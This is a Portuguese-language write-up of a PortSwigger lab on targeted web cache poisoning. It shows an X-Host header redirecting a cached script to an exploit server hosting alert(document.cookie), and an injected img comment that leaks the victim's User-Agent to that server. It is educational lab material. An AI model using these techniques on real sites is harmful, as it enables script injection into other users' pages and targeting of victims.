> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# Envenenamento de cache direcionado via um cabeçalho desconhecido

Notas sobre envenenamento de cache direcionado via um cabeçalho desconhecido para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Envenenamento Direcionado de Cache da Web Usando um Cabeçalho Desconhecido

Contamine o cache com uma resposta que executa `alert(document.cookie)` no navegador de um visitante, **mas apenas para um subconjunto de usuários** correspondente à vítima.

#### Observação inicial

* A requisição/resposta é interceptada.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58f4a77eb78f7702df7eb267ae4277ae0bd25553%2F%7B796A221C-7A49-4DED-ABF1-B535279255B9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Com a **Param Miner** extensão, iniciamos a detecção de cabeçalhos exploráveis

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-034df2273d835ab6eefc639af7e3fdf306a74dff%2F%7BDCB734EE-B795-48BF-ABDD-93D7A1CD52E9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* A ferramenta revela um \*\*cabeçalho

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-869700917e4a7fca6cba282c88911cbb240cf331%2F%7BD8BCAADE-DDBE-48EE-A7EB-BA812DC6BD12%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Se `X-Host: test.com` é enviado, o valor é reinjetado na resposta (em `src`).

```http
X-Host: test.com
```

#### Implementação do Payload

1. No Exploit Server\*\*, criamos um recurso **com o caminho/título**:

* `/resources/js/tracking.js`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ac85188fe5c660bd335833fe415dfd2cfafaed1%2F%7B411AFDCB-B42C-4972-B068-D7461D9E1A1E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Conteúdo do arquivo:

```javascript
alert(document.cookie)
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8adaef377c635cf385d444390763ba35df8a267%2F%7BFDD754D4-AA57-4933-8D7B-9D7635E6D4D4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Envenenamento de Cache com foco em X-Host

* A requisição é retornada com:

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-789a117f77c20c66bc352d5d1b522a9f677d14f2%2F%7BA7E4C6DA-A199-42FA-8D14-48CA40B0F641%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

A página então carrega o `tracking.js` do servidor de exploração, o que dispara o alerta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76b6ec4da5861ffbe9a8108a41e294cb87caa07a%2F%7B0B1758E4-1C9B-4776-AAF9-3FA9536B3E75%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Mirando a Vítima com o User-Agent

* Observamos que a resposta varia de acordo com `User-Agent` (via `Vary`), então, para alcançar a vítima, devemos **conhecer o User-Agent da vítima**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bbfa6ed3038474a9dec3aaa6a8728f9d07444288%2F%7BE82E8BD5-9468-4135-B5EA-408993403F6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Publique um comentário que force uma requisição ao servidor de exploração:

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eafd0dbe7267509d8c341e8a03988befe28370d8%2F%7B5D53AD8C-ED0E-46C5-967F-2CB20D800A65%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Nos registros do servidor de exploração, o User-Agent da vítima é recuperado:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1dd0f94350a3097171101a2d3c1dfdf6010dfd9c%2F%7BB08A4A37-EF7A-4998-8BE6-B981F7FA5DE3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

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